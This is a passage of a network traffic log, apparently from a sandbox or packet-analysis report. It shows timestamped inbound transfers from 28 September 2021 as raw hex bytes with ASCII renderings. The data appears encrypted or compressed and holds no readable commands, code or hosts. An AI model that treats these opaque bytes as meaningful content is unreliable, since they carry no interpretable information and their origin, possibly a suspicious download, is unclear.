2021-09-28 07:53:27 UTC	316	IN	Data Raw: b2 a9 2d c4 40 c2 f4 b5 fd 15 e5 42 97 cd 74 6b d5 79 b0 00 51 ab db f8 82 4a b3 60 8c 0e a5 03 7e f1 11 6e a0 a2 2e db af c1 29 48 3c 5d 5f 04 7d cc 42 9e 90 d9 3f f5 54 a4 91 30 20 46 c2 5e 0b a7 ea 8f 8c f5 22 34 ed ba 34 96 19 ec b8 70 57 39 12 1b 5a 41 0a 68 5d 6a 58 54 ad c8 01 7a 86 b5 1c 2f e0 2f b4 d6 6f 32 6d 62 c9 c9 04 bf 01 0a fd 31 6f 47 c9 c6 09 10 e6 b1 ec ae 33 24 90 fe 8a 26 1a 9d 30 a7 7d 92 62 88 b4 75 bb 01 bb 74 00 10 97 6a 78 1e a9 7a 46 3e 14 ae 6f bb 87 f9 a5 0d 3b 33 e4 cd 86 c0 70 5d fc dd 57 d8 22 3a 88 eb 9d 7e 22 71 94 43 99 4c de 75 f4 3d 62 92 27 b0 38 b7 92 39 20 aa d5 1d 17 bb 3b 8f 0f be 71 a6 38 13 85 58 f7 29 0e ad 09 9b 5f 19 f8 a0 b0 f5 88 62 97 a2 91 2e f8 95 f3 1e 19 f8 6e fd a4 9a 94 12 13 f5 ec 3a c1 54 9e 2e b1 Data Ascii: -@BtkyQJ`~n.)H<]_}B?T0 F^"44pW9ZAh]jXTz//o2mb1oG3$&0}butjxzF>o;3p]W":~"qCLu=b'89 ;q8X)_b.n:T.
2021-09-28 07:53:27 UTC	320	IN	Data Raw: 24 ae a1 fe 46 51 3a 86 b7 93 c1 b6 68 d7 a1 cd c8 48 79 78 5f 97 79 08 25 73 ef c7 58 7c 57 ea 7b 10 34 16 71 31 39 f4 7b 3d 87 e5 60 e4 7d 5b 10 e1 bb b2 f0 c1 74 07 df 41 a9 30 85 cc 0d 98 bf b8 07 48 86 f3 aa af 24 d0 0a c9 e5 c4 5a f8 6a fc 5a 2f e4 2b 05 c1 8b 5a be a4 04 24 3b ec 1d ea 70 b9 49 f0 29 c5 78 67 08 61 5d 74 c9 04 92 39 14 85 80 81 0e f9 c8 81 72 24 3a fd cd 96 78 44 a0 c1 da 7d 9a 34 38 2b 73 70 8e 31 81 24 ab 3a 7b e3 e7 c3 83 2c 71 c1 fe 05 be a4 8c b5 29 cb 77 aa 17 55 ed 26 64 93 22 2b d1 6d 42 7f fa 34 ea 6e 3e e9 91 ac 3f 6d ee d9 33 10 df 43 19 47 4f 0b 4a 74 a3 e0 a1 23 10 01 cc f9 2a dd 7f 29 04 33 0a f6 4b e4 6b 2f 34 ed 71 b3 78 34 d0 3f 3d af 02 03 22 71 00 0c fe 66 2b dc 73 b3 28 35 36 e8 84 64 bc cd 63 cf 66 12 68 7c 9b Data Ascii: $FQ:hHyx_y%sX\|W{4q19{=`}[tA0H$ZjZ/+Z$;pI)xga]t9r$:xD}48+sp1$:{,q)wU&d"+mB4n>?m3CGOJt#*)3Kk/4qx4?="qf+s(56dcfh\|
2021-09-28 07:53:27 UTC	324	IN	Data Raw: 21 2f a2 4a ce 3c 8f ff 9b 27 db 7d 38 13 02 07 a2 d5 5e 67 15 95 74 e6 de d1 17 cd 6e a2 ae 90 f0 1d 15 42 f0 de 40 c2 6d df 35 f3 34 6f a2 d8 fa bb 17 a2 0a a6 4a a5 65 68 14 5c 1d ed be 2f fa 0d 40 e5 91 44 f5 4a 70 4b 68 b4 e7 a3 f6 db 41 95 bd 7f 3e ac 6e 0d f1 ec a7 f2 43 fc 34 3f 39 65 bc 9a fa 02 ce ac f7 74 44 4a 76 4b c2 f4 85 00 17 f9 8f 80 89 cf 9e 28 9b b1 1b 42 7d 73 a0 46 85 ca d1 9e d1 53 2d a4 28 bf 1b df 4c 59 da 99 a2 48 b9 04 cf e2 84 7a 7c ed ea f7 56 43 c2 29 4f 3f 0e 03 d6 3f 7c 00 b7 59 0b b9 74 82 13 af 7d 35 eb b2 15 f9 7b da fd 21 f6 5e f4 a8 72 66 4c 5f 65 0c 06 c9 e8 1f b1 1a 6b 0e bd 16 e4 c0 a9 f5 1c 19 80 3f 66 89 ee 06 4f 16 b9 1b 83 32 08 db c4 52 d6 87 1b 13 6e 6c 88 b0 fd 3e 7e e9 ec 98 c3 28 78 0c d7 93 3a 89 f3 ea 01 Data Ascii: !/J<'}8^gtnB@m54oJeh\/@DJpKhA>nC4?9etDJvK(B}sFS-(LYHz\|VC)O??\|Yt}5{!^rfL_ek?fO2Rnl>~(x:
2021-09-28 07:53:27 UTC	328	IN	Data Raw: e0 2e 19 4b d2 c4 a6 5a 71 17 23 20 3d 30 47 5a b9 58 82 2b 8f ea c5 f8 1e 28 c7 51 eb 81 a4 0c d9 1c ff da b6 41 ab 51 5b 04 ae dc 91 d4 0d 02 4d e7 77 ea 83 4a fa e5 05 d5 6c b6 6b 91 b1 3b ac bb b3 b6 fc 41 9d 35 59 70 4b 89 f8 2b d7 23 ee 6f 0e 70 b7 c1 4e 23 86 a5 53 eb 61 99 8e cf 15 a0 f6 fa 3e b6 50 fe 0d 22 c9 3d 41 75 80 a8 f0 4e 1e 8d 1f f7 22 80 cc f7 1e f4 09 f8 a1 75 30 b1 3b 2f 28 5d 42 ff 22 20 a8 1d 90 e0 46 df fd ed 01 20 05 34 58 c9 92 07 52 76 8e 79 39 1e 16 ab c5 eb 0a e7 b2 de e3 64 85 d9 18 da e0 24 66 24 a0 5c ce 48 8a 19 25 0a a0 fa 72 f2 be 5f 7e 9c 2e 17 c9 07 74 6f 9a 8f d7 50 30 c1 bd b1 d4 7c 58 7e 8a 7d 9a e3 a4 4e 02 f3 6f 69 68 ef ff 9d f8 98 6a a9 44 e4 4e dd cb d6 78 e1 2c 99 5a 82 00 89 bd e9 77 74 b8 56 18 24 f8 aa 7e Data Ascii: .KZq# =0GZX+(QAQ[MwJlk;A5YpK+#opN#Sa>P"=AuN"u0;/(]B" F 4XRvy9d$f$\H%r_~.toP0\|X~}NoihjDNx,ZwtV$~
2021-09-28 07:53:27 UTC	332	IN	Data Raw: e4 53 47 e3 cf b5 e0 05 b7 8b 8e c8 57 67 bd 00 6e d8 c0 50 b7 f3 ab 3f 8f 64 8a ba f5 e3 6d cd ed f0 f4 c0 63 03 a7 1b ba 1a 9f 79 4a 1b 37 56 9e f3 b9 3e ce 71 1c 22 98 fa b9 43 82 e2 eb 58 0c 82 1b ae c0 d9 ec 40 b3 a4 1d 8c d0 cf ee 19 8c 05 07 b6 b2 76 3f 15 f4 dd 74 31 dc 83 fa 65 50 6c 91 12 43 90 1d 32 02 75 58 6d 45 02 b2 a7 fb a8 a2 e9 b7 33 ba cb 4e ed 5c ba 77 53 84 5a 32 54 b3 83 45 27 d1 da a2 c1 d0 34 a1 b7 5f db 62 59 ea 61 62 04 bb a8 51 da 63 69 47 2d 11 c8 70 43 ba 1a fa 96 51 1c 1a 39 5b 0d d3 94 fa 70 ad 96 98 1a 7c bf f4 d9 e6 53 da 4f 15 a2 d7 75 3e e1 5b 2a 23 8c ae e8 39 8d db fd 1e 10 0f 46 57 50 98 17 ae 51 68 0f 2b c9 69 f4 14 32 af 12 74 0d 0e 45 66 83 55 5c 5d f5 08 92 97 2f 30 6e 3c 62 26 f2 6d d8 ba df 19 7c ae 2b 42 df 84 Data Ascii: SGWgnP?dmcyJ7V>q"CX@v?t1ePlC2uXmE3N\wSZ2TE'4_bYabQciG-pCQ9[p\|SOu>[*#9FWPQh+i2tEfU\]/0n<b&m\|+B
2021-09-28 07:53:27 UTC	336	IN	Data Raw: ad d9 01 dd 01 a9 05 c7 2e fc a2 cb 13 ec 90 a0 cf cc 92 c9 01 d0 6e ad 00 3b 4c 53 c5 3a 4e 84 df fa fe c9 2b 40 d0 02 4a 2e 0c 2e 7c 21 f9 bf 81 34 54 9b 8e 99 c9 40 c0 1f 40 5e 85 65 66 cd c4 e2 42 96 c8 0a f7 57 43 8d 98 51 0b ff 81 3f 38 4c 74 73 16 be 2a a7 40 4b 96 f3 6e 06 22 fb aa ec d3 83 89 f8 a0 0a 02 7f 28 3b 11 6d 3e fa d7 f7 ee d6 5a 92 46 f4 48 48 ba 5e 0d 4c f5 ad 95 2e 4e 41 e5 35 20 9f 29 e0 5e dd bc c8 d5 4f 09 57 25 da ae 16 f3 e3 e9 a1 58 92 da 24 b7 23 8b d2 8a 6b 0a 99 bd 9d 6e 34 35 03 6e 12 e1 e8 28 74 25 2f 89 f1 bb 69 34 55 e1 c5 9f 14 6e 67 32 1e a5 22 9f 4e ff ec 8c 63 c0 1b 18 fe 77 61 2b 62 31 43 50 14 00 02 bd 18 8e 9b 5c ca a0 be 9f 4a 8b 32 7d 0e 9d 4a 9e d8 00 94 5e 41 ba 24 b6 d8 2d 13 c6 33 c0 ed 2a df 38 34 c9 40 3a Data Ascii: .n;LS:N+@J..\|!4T@@^efBWCQ?8Lts@Kn"(;m>ZFHH^L.NA5 )^OW%X$#kn45n(t%/i4Ung2"Ncwa+b1CP\J2}J^A$-384@:
2021-09-28 07:53:27 UTC	340	IN	Data Raw: e3 dd 8d 04 4c c4 72 33 db a9 dc 54 91 5e 37 23 b9 aa ea 0b ed d2 bd a0 5a eb 3e ae b3 d4 c5 96 a3 9a 12 ab dc 54 ba ee 25 5a 31 64 41 72 9a 7e 8b 91 02 d1 a7 e6 bd 34 59 16 20 5b 37 22 05 54 b5 31 56 f0 da f6 d3 6d 42 49 ea 50 af b2 63 99 5f 38 39 47 75 bd 93 7e 65 f7 bc 9e 03 8e 31 52 2b de 87 6d 11 31 92 e2 01 a1 ae 7f 28 a3 9f ed 30 85 02 d3 68 da 09 ea 2a 75 9a a2 c6 d2 b1 87 b1 e7 1c fa 22 90 e4 1f 7b 10 65 84 a4 8d 82 53 3f 99 62 43 71 60 5c 3e 3d 31 c7 16 63 47 30 4e 26 77 65 53 1b ff 26 ec 6b 69 1e dc 05 f7 b4 25 cf 21 18 dc bf ba 78 cc 4d 49 48 51 92 53 38 b7 4c 1e ee 9c c4 5e 30 67 33 eb fc 62 a0 4c d2 aa 64 e0 7e bb 56 91 9b 00 d7 5a 94 db be 24 56 34 ec 0e a0 a4 60 48 0b 34 f6 a2 b3 b4 72 34 bc e2 5c eb 72 32 4f d7 9e 72 cb 63 a6 d2 5b cc 5f Data Ascii: Lr3T^7#Z>T%Z1dAr~4Y [7"T1VmBIPc_89Gu~e1R+m1(0h*u"{eS?bCq`\>=1cG0N&weS&ki%!xMIHQS8L^0g3bLd~VZ$V4`H4r4\r2Orc[_
2021-09-28 07:53:27 UTC	344	IN	Data Raw: 8e b6 02 5b 71 e3 9f dd 89 ec d8 f5 2b 5b 11 41 18 e7 f2 7d dd 67 86 a0 a2 21 1e 8b 3d ad 3b 9c 97 9c 0e aa 72 00 db 0b 9f 73 7c de 2f 17 b0 75 ae ca c6 84 bc ff cc f7 6b de 08 04 70 e8 6b 6d 50 50 ed 7b 23 1e db 64 87 d8 aa 61 a6 1d ab b2 58 17 9b c8 9c d0 ad 69 43 21 7e 5e 58 f0 14 be 44 61 24 6b dc 75 a8 58 bc 25 d2 c8 ca a4 0d 4a 9b 2b 6d 49 3c 09 4d 22 6a 8f 6e 7a d2 6e c9 9f b2 04 41 8a 62 11 78 e9 04 10 fc e5 a7 09 52 6a 04 13 e8 7a 7e 0d cf 78 41 50 76 0b 79 01 ca d1 30 98 13 6c 10 23 c8 a4 5a a6 45 aa 1c f3 09 ea ed f2 23 fd 58 a3 f2 f6 39 94 18 ae b6 e3 7b 34 65 4c aa 56 2c 3e e1 f8 52 b9 bd 48 b6 75 58 ff d6 4b 08 b1 04 6b 46 8f 5f 22 36 35 9e f9 65 1f b7 ee 9d 91 f1 5f 7f 00 5b c4 99 46 8d 7c 8c 78 7b ad 97 f8 0a af 63 8b 5e 8f 2d 99 5e 96 d9 Data Ascii: [q+[A}g!=;rs\|/ukpkmPP{#daXiC!~^XDa$kuX%J+mI<M"jnznAbxRjz~xAPvy0l#ZE#X9{4eLV,>RHuXKkF_"65e_[F\|x{c^-^
2021-09-28 07:53:27 UTC	348	IN	Data Raw: a3 35 8d 7a 61 64 89 37 3a 59 9e 25 8a 85 56 ba a0 b8 17 6a 76 47 86 90 c2 ef 20 03 f5 aa 73 13 61 d0 16 ac 88 8c 36 4e 9a f3 6c b9 5b df 59 6a bf 3c 71 2f c6 fa ee 8a d2 a4 ba 7c a5 07 f7 2e 1d 36 bf 86 a9 10 06 d0 40 b5 8c a9 45 91 bb a5 7b d3 93 41 51 11 1f 21 b5 4a 1e a6 40 f5 a7 b5 f5 78 76 fc e0 2f 42 90 1a 61 7c 91 1c f4 d8 ca 5f ea 23 8e 50 0d a2 8a e8 71 ac 47 81 a9 84 97 45 57 f9 e9 22 18 e2 d4 e4 17 db 0e fc 8d d5 fc ca a8 c7 21 08 dc 62 87 79 e1 c8 ac c7 92 12 b5 6a 75 ef 83 13 c1 51 12 a1 a7 fd 33 d4 0d 81 8a df f0 1e 52 26 6c 6c 5b 7d 28 cb 18 ff 24 ee 19 f5 2c 32 8b 0c b9 82 22 72 c6 fc 17 7f 98 d5 7b 7d 47 8e af 8b 48 f9 e8 69 de 98 21 19 7d a7 1b c1 23 b7 e7 f0 16 1e 84 df 33 81 33 9f 9a d1 9a 99 f3 39 1f b6 fc f3 9e 45 93 37 67 fc ea 5d Data Ascii: 5zad7:Y%VjvG sa6Nl[Yj<q/\|.6@E{AQ!J@xv/Ba\|_#PqGEW"!byjuQ3R&ll[}($,2"r{}GHi!}#339E7g]
2021-09-28 07:53:27 UTC	352	IN	Data Raw: b6 54 be c8 f3 1a 99 1f 48 17 f0 d1 8d 4d 4f 96 2e 44 87 0e 81 83 8d f7 05 f7 5b 83 c5 18 21 b1 e5 2f 49 ea ed 52 9f 45 91 8b cb 99 9c ac 26 14 7e 1c f7 a4 a3 a6 dd c2 2f f0 8f 96 8a e2 b2 6d 00 79 23 79 77 53 c9 a8 a4 16 b8 f1 26 80 65 1d 66 85 a6 34 65 4b 31 25 18 25 67 56 50 93 c5 c0 66 a7 98 28 12 ff 71 e9 77 97 a6 f2 b5 ff dd 30 c2 60 48 6c f6 65 dd da c7 78 f7 5e 51 e5 9a 01 b0 ac 04 e7 0c 89 8e f6 9e 43 17 eb fa 3d 3c 5a cb 1d 3d d9 f8 d3 6a d5 68 f6 da 7b 93 ba 95 63 43 76 ab a7 0a 80 a8 5f a9 74 f4 4a 65 a4 cb 55 ab ef 9e d6 05 3b 2a 63 42 f2 b3 29 7b 0f cb f7 37 e4 f3 0e 04 d6 f8 3e ad e9 66 16 13 b2 77 d6 43 f7 52 8e 6f 2f 38 61 c4 7b 1c 1a f7 47 bf 10 77 2d 5e 76 b2 28 34 76 da 0d 52 09 b4 e0 75 44 72 b4 98 61 27 4d 5a dd 86 d6 e0 fe 99 04 8f Data Ascii: THMO.D[!/IRE&~/my#ywS&ef4eK1%%gVPf(qw0`Hlex^QC=<Z=jh{cCv_tJeU;*cB){7>fwCRo/8a{Gw-^v(4vRuDra'MZ
2021-09-28 07:53:27 UTC	356	IN	Data Raw: 53 0e 6c c4 41 10 27 e5 79 f8 1b 51 a9 54 77 5d 88 3d a5 5b 96 de 12 e7 5d 68 d6 0d 71 d2 2a 55 ae 14 02 09 0c f0 5d 63 78 21 1f c9 b1 e4 ca 9c 53 85 b0 18 c1 e1 5f 38 91 f3 41 1a ab 5a 87 6c 60 d3 96 4f 98 7d a6 4d f2 31 c7 3c 27 76 fd 8e 11 ca 27 e4 af 20 7a a9 2b 96 ed 03 f6 d0 e2 e6 a2 b7 0b 44 47 be b5 23 94 36 9a 69 29 85 50 08 20 c5 ef 36 89 c8 70 2b 07 05 04 8e c2 d1 33 28 3c ce 23 71 60 6b ea 17 14 83 bd 3a 77 7e 58 3c a0 7f f7 5e 19 15 21 5e cf 19 13 71 c1 12 6e 8f 3e 07 51 cf 81 e7 c3 de 4e 16 2c f0 e3 34 93 eb 75 10 67 8b 3d f5 3b 8c 5c a0 12 1f 97 6e 1b ca fd f3 3d 74 40 7a 06 81 d0 34 a4 3c 02 e0 7f f3 8d 96 79 a8 5d 63 89 89 08 82 8c 16 5a 5f f5 3c b4 8d 91 2d 55 b8 88 cd 1d 7d 3e 6d 0d 64 78 54 0f 16 51 0a 17 5d 7d 4f aa 51 5b c1 7e 6c 2a Data Ascii: SlA'yQTw]=[]hqU]cx!S_8AZl`O}M1<'v' z+DG#6i)P 6p+3(<#q`k:w~X<^!^qn>QN,4ug=;\n=t@z4<y]cZ_<-U}>mdxTQ]}OQ[~l
2021-09-28 07:53:27 UTC	360	IN	Data Raw: f6 f7 36 ab b4 66 90 31 80 3b 23 df b3 e7 ff 06 82 48 a9 56 c5 36 0d f2 72 1a 7b f2 1a e2 82 f3 42 eb 46 5b 3c 60 c8 b8 0f 34 e6 48 cf d3 e2 a4 c4 19 ab b6 c1 56 7c 80 2d 58 e3 d8 64 f7 32 f6 cd 62 8b 66 f6 81 43 17 a0 8f 6c b4 5e ef 2f 4f f3 25 6a 92 64 72 27 63 d3 b3 58 8b 2d b9 5f fa ee d3 c1 b7 84 1e 9e a0 ab b7 e2 e7 ac 5c 76 f2 aa 50 4d dd 66 60 ac ca ee 50 47 c9 aa 26 0b c7 45 58 57 f1 f2 51 9a 6f 70 f7 12 f0 83 1f c3 eb 22 54 20 7b 51 dc f0 ba 22 99 d2 19 8b e1 73 2c 87 09 5d 94 81 09 73 93 f6 02 21 92 88 2e 9f a6 f5 3b 33 5a 46 77 3c ca b5 ff 43 a2 86 01 64 ac a9 fd 44 45 89 c4 a5 e4 ed eb ac 66 74 dc fd 1b d6 77 33 a8 e6 c4 5b 6d be bf b8 b7 de fc ad ba d3 d1 b9 72 0b 67 04 a1 2d 04 bf 56 9b ce bc 1e 9d 1b c7 16 18 56 cb 8a 80 79 89 ba 16 e8 ad Data Ascii: 6f1;#HV6r{BF[<`4HV\|-Xd2bfCl^/O%jdr'cX-_\vPMf`PG&EXWQop"T {Q"s,]s!.;3ZFw<CdDEftw3[mrg-VVy
2021-09-28 07:53:27 UTC	364	IN	Data Raw: c3 11 44 20 2a ac 4e c9 9a a1 a1 60 0d b6 f4 fe 86 2f ef 75 9e 4b a3 a5 94 aa c6 0d a5 34 c8 84 4e 01 42 eb 51 3b c8 e8 42 87 d8 d3 51 43 9c 41 aa 44 d2 ac f7 69 b7 89 f4 39 c4 1b ad 87 da cf 02 c0 90 1a 21 ac 5c 21 c8 50 82 8b 90 8c eb 0b dc a2 3c 01 7b d7 7a db fe 7e 6c 43 2e 9e a2 b9 40 ec 82 b4 9a 31 00 2b e7 d0 3c dc dd 6c 57 38 2a 60 9c f9 0d b5 53 69 6e 02 98 e9 44 67 e9 0d 00 28 ba 06 27 6b 77 18 23 dd 6f 64 08 a3 56 f7 87 e5 89 d0 f2 95 25 fb 93 02 8e 80 75 3e 41 68 14 93 3d 06 4b f8 f5 e4 7a 2f e7 d4 2b 05 dd 48 40 1c 2e 1a dd 82 18 13 14 3a bd 8b 19 90 73 ca ea 3a c2 f9 c5 90 8f 68 36 e2 9f 0d c0 aa 94 5c 6e 23 8c 4e 18 db f1 01 25 11 29 af e7 3a e2 1b 82 84 d4 da 16 01 4d 6c 92 1e ae 8d d5 1b 08 91 bd 22 86 9f 0f 2b 36 6f a4 71 8a 60 3c 4f e4 Data Ascii: D N`/uK4NBQ;BQCADi9!\!P<{z~lC.@1+<lW8`SinDg('kw#odV%u>Ah=Kz/+H@.:s:h6\n#N%):Ml"+6oq`<O
2021-09-28 07:53:27 UTC	368	IN	Data Raw: 68 16 07 9d 94 aa f0 80 1d cd c8 1a 7b fa 0f 5c de fa dd 49 6d 04 b9 b1 ab 29 cf 5d c1 6b 03 97 2b ab 74 6c 43 2c 49 07 d5 8e 62 02 e8 9a d4 5a 4d 39 28 84 9e 09 5a b8 d3 cd fb dc 69 d6 ae 6b 45 92 e1 a7 67 69 b0 2a da f5 72 13 9c b1 5c db 54 34 a4 4b b6 6c 43 36 c8 08 c1 cd e7 38 45 90 a7 72 39 8a b4 38 27 a3 bd f8 96 50 28 84 4e 50 56 e8 00 98 fd 6c 3e 2c 80 f9 b7 61 e9 9b 7f 01 dd 83 68 e4 f1 ad f5 82 44 55 06 37 5b 34 dc d0 7c 89 cd 0b 70 e8 3c 28 57 ad e7 b0 d3 c7 4d 11 97 f5 82 1d 4f fa 07 10 71 a9 1a 7d 63 60 d1 1c c0 c2 b8 7b 81 9c 1d 3b e9 14 00 fc 5f 21 7b dd 63 0f 67 27 f4 e1 4e 39 9e a4 d8 8b ae 15 02 2e 0b 3b af 80 51 7b 90 c8 aa c3 6d b7 13 b1 20 c0 c2 32 a4 ad dd bb e3 1c 99 d2 d2 5b 22 8a 78 d0 6b 1c da 0a 67 9e 16 e7 2e 27 7d 20 8d 63 fa Data Ascii: h{\Im)]k+tlC,IbZM9(ZikEgi*r\T4KlC68Er98'P(NPVl>,ahDU7[4\|p<(WMOq}c`{;_!{cg'N9.;Q{m 2["xkg.'} c
2021-09-28 07:53:27 UTC	372	IN	Data Raw: d4 22 3a 91 a1 ab 2a 53 dc 90 b3 3f 39 ac f7 5a 37 2a 39 cf 2b d3 51 d2 64 0b 44 6b c4 f6 69 ad 8f 6c 7c 48 2d 9c 1c 90 e5 f6 c7 df 39 34 c8 90 ac 1a 47 d5 e7 c9 72 8b fe c6 f1 88 97 30 02 07 46 ed 7b 20 ad d9 a2 f8 5f 0c b8 f3 e7 3d 85 55 e8 5b 0d d9 3f 62 4a 2c 71 00 4e d6 48 5e fd 52 1c 82 b2 10 3b b0 b3 75 2a 98 de 8b a6 00 67 14 72 cc be 9b bd 16 36 81 80 e6 0d 36 a6 dc 35 63 df aa 85 54 f8 dd 85 48 97 8b 01 69 92 6f d6 a6 c8 82 1a 5e 98 e2 d2 3a 26 b6 80 1a 6a 42 13 f3 f4 fc d8 e1 77 e7 f7 19 b2 40 e2 02 e1 6a 08 01 d7 57 42 36 87 64 3e 96 4d 03 4b e8 99 15 7d 87 4e b4 99 0a 0a 37 53 41 97 38 7a 2a e8 b7 a3 b8 5b 0f f8 cb 5a b0 fb 9d 81 33 bb 92 c9 e6 55 85 0b 24 08 09 69 b6 cf 8c 6a 10 ab 4e 03 fd 9e 1c e4 73 0c 4b e5 fd e5 f3 e5 7e 86 7a 96 f5 0d Data Ascii: ":S?9Z79+QdDkil\|H-94Gr0F{ _=U[?bJ,qNH^R;ugr665cTHio^:&jBw@jWB6d>MK}N7SA8z[Z3U$ijNsK~z
2021-09-28 07:53:27 UTC	376	IN	Data Raw: d4 9b fe 48 37 f4 98 e4 71 fa 64 ec ae 99 16 b6 d9 db 5e 2c 85 79 ba f9 37 23 df 32 13 14 8c c3 65 e6 c6 a8 64 df 28 ff 84 23 15 b2 ff 00 00 7f a0 ad f1 0e 34 2e 7c 4d 54 30 6a 66 cf ba ac e3 e3 25 fe 12 71 95 c4 9b ba 32 53 1f 6c a0 5a 25 39 80 3e 1f 7e 55 10 70 5d f1 9e b7 95 c0 89 37 c6 6e 28 6f 08 04 11 c6 b7 e1 95 45 14 4f b2 c0 21 75 d6 5c a7 29 c7 a0 60 49 9e 29 f5 b6 80 52 f2 00 4a ef df d9 ac a6 c5 76 8f 4e 75 3b 18 68 d9 21 2c 7a 7f 6a 47 73 77 af 30 cd 67 15 6b 56 da 1e 0d f5 d2 7b 1d 1a 11 29 ce ef fe 4f 6d 30 bc 4b 3f 09 48 e2 35 2f 00 7f c6 2d d3 37 63 b9 af 6e 8c c2 f6 f4 32 ee 85 0b b9 c0 9b 25 3e ca 34 c1 1e 13 04 99 d2 1b 2d 8e e2 c1 db b9 90 67 ae 0f 1e 6b 04 e4 03 6b e7 c4 e5 cd 4c 89 dd d4 6d ac 9b 45 ff 79 10 a6 36 6f cc 3b cb 29 e3 Data Ascii: H7qd^,y7#2ed(#4.\|MT0jf%q2SlZ%9>~Up]7n(oEO!u\)`I)RJvNu;h!,zjGsw0gkV{)Om0K?H5/-7cn2%>4-gkkLmEy6o;)
2021-09-28 07:53:27 UTC	380	IN	Data Raw: 0a d4 89 3f 12 40 56 ef ae ae 5f 77 ff a9 a3 cb 8c ec ed a4 88 8e 56 70 bc 01 31 67 56 3b ae 47 fc 57 5b a1 14 c2 4d d4 02 f8 3e 29 c5 f1 74 3c 9a 8d cd 44 4a d8 9d 7d 24 d8 9a d4 39 cb e6 1a 25 c9 5e eb 26 8a a8 2a 28 c7 e3 89 f2 f5 13 6b 96 ef 01 65 89 ea 65 18 66 c8 f5 de 21 76 5d 97 d6 fd 32 07 f3 b1 d1 e6 ff ea 65 01 c4 1b 27 28 de 21 41 4f 8f ec 0d f5 fb db a9 7d 4a ab 20 96 62 5d 7f 76 96 17 72 3d 4d b0 95 af 77 ad 5c 17 71 25 9a 92 21 28 42 fa 4d 98 f1 49 fa bc 5d 3e 60 5c 1e 88 08 fc 2c 7d 56 cf 47 32 40 db 28 3c 2e 19 a6 98 c8 7e 7c a4 a9 3f 7a 66 f9 f4 55 eb f1 9e ba 22 5e 1c 3a 81 01 26 d2 b0 36 b7 2e 49 83 54 9d 04 98 e0 51 25 ab 58 1e f5 86 bc 75 9f e0 c5 78 be 23 be 4a 8c fa bb 56 12 cb 69 93 d9 93 41 22 98 06 db f8 8a 1d 3b 1e e5 65 b4 52 Data Ascii: ?@V_wVp1gV;GW[M>)t<DJ}$9%^&*(keef!v]2e'(!AO}J b]vr=Mw\q%!(BMI]>`\,}VG2@(<.~\|?zfU"^:&6.ITQ%Xux#JViA";eR
2021-09-28 07:53:27 UTC	384	IN	Data Raw: 40 fb 3a 7f 29 46 8b d2 42 29 11 2e b1 07 06 3c f0 a5 3c da 28 06 63 54 68 e3 e4 ad 26 5d b7 b5 5f 33 46 7d 6f a8 e4 ea 8b 24 cc 9b 83 52 ab fc 62 ec ea 2b db d9 d6 3b fc f9 80 a0 00 aa bf 43 e5 cc 50 ad 8a f0 3b 52 03 bd 45 fc 3e 22 e2 ca 5b 5f 3b 3d 9b 5b 9f ed e7 7e 7e 52 32 47 54 df 56 da 24 fd 6f 51 77 c8 be 39 76 70 a1 b6 92 55 28 c1 27 89 a1 73 29 1c 14 08 7a c5 7a 66 10 e3 7f 0f 46 0e 14 f2 bf 7d 84 66 ad 29 c7 f4 6f e0 25 1b ea dd 7f 74 77 06 de cb 0b b2 f9 87 18 fd 75 f4 8e 84 e3 6b 86 2f 8e d1 22 af d8 97 b1 d7 e1 c3 35 6e ff 77 52 11 58 aa cc 2e 52 da a9 06 89 a6 45 e3 bb ee 60 a3 b6 76 bf 34 7d 05 d8 06 e2 f5 8a 13 ee 61 5b dc 17 16 6a e3 d4 12 00 16 68 b3 d6 dc 52 7f 68 b3 a0 69 98 ff 16 cd 29 80 26 91 90 38 ba ed 53 63 78 a8 4d 99 7f 3e 48 Data Ascii: @:)FB).<<(cTh&]_3F}o$Rb+;CP;RE>"[_;=[~~R2GTV$oQw9vpU('s)zzfF}f)o%twuk/"5nwRX.RE`v4}a[jhRhi)&8ScxM>H
2021-09-28 07:53:28 UTC	388	IN	Data Raw: c7 23 b6 86 c4 21 3b 58 48 c8 fb 2e cd 46 40 3b ef 31 03 bf ca 88 73 7f 12 ff be 33 f8 d9 e7 ae 8f a3 7d 5e a3 8a 6f 4f 7b ab c9 a7 f4 10 5f 79 cc ed 82 fa eb 73 a5 94 34 36 7a e9 23 6d b7 a1 f9 a6 50 25 fd ec d9 13 83 e3 fb 65 26 6a a6 0b 1e b4 6a c6 d1 73 a1 14 f4 9b 05 61 16 be 38 47 28 f0 b3 82 e1 27 52 a4 5c 23 eb d3 ed 03 ed 21 fb f0 ca 30 27 c1 68 20 f6 69 b5 ff 28 f5 b0 60 91 80 51 20 04 bf 89 8b 6d 1e 2d 54 91 46 9f 69 81 98 f1 a9 d4 f0 4a 90 a1 df d3 1f 88 ab 5f 50 3e ee 05 1c 8c 07 e0 96 f4 c9 1f c0 8f af f3 a4 99 bc d2 70 fb 1e a5 45 76 a4 6c 48 53 95 a8 8f 66 c3 46 9f 30 41 4d ca 45 ec f7 6d 5d c3 db fd fc 4c 69 8d 32 11 5c 1a 85 66 81 d5 1f be 9a 5d 72 d8 ed 46 24 1e 56 dc 5c 57 d4 b7 b1 e3 2d e8 07 7b 7e 7e 30 a1 47 2d dc 26 ad 0f e3 1c d3 Data Ascii: #!;XH.F@;1s3}^oO{_ys46z#mP%e&jjsa8G('R\#!0'h i(`Q m-TFiJ_P>pEvlHSfF0AMEm]Li2\f]rF$V\W-{~~0G-&
2021-09-28 07:53:28 UTC	392	IN	Data Raw: 3c 09 b3 ba 7b 14 56 1a c6 ca a0 d4 32 68 fb 30 33 58 e9 ff a8 5d 9e d7 7c 23 10 92 80 e8 21 f4 3a 56 e8 51 18 91 f9 d8 31 b9 d1 37 8d 13 dc f4 e3 99 56 84 15 88 c2 11 81 7b 1b 21 6f 92 c8 c1 68 43 47 af bc a4 d0 51 a4 d1 f3 58 0a e8 62 ff cb 91 da 49 2d 39 40 62 f3 07 b8 37 ba d0 80 40 54 34 d8 16 6f e9 ff d2 6b 0b da 7e 25 c4 d8 1d 87 42 1d 48 f9 ee e2 08 f1 15 f8 e6 4d ee 9c dd 92 1a 45 c8 56 4d e2 ac 5d 53 c8 15 60 9d e3 f5 e1 ba 73 f1 43 08 8b bc db 51 6a a0 25 3c 95 4a 86 18 90 fd ef bf 19 4f 74 be 77 fb 54 59 03 55 f8 03 01 ae c6 2a 6b 4b a4 23 78 63 61 e3 81 5e d7 e0 45 18 ae 75 82 96 68 18 11 0e 2c fd 76 84 8c f9 dc 7a 3c fe a3 4a fc 1e b5 20 bd da 91 3f 05 a1 39 7e 66 42 e6 aa 50 b7 9d 61 f7 9a d7 b0 cc d6 79 49 86 98 c4 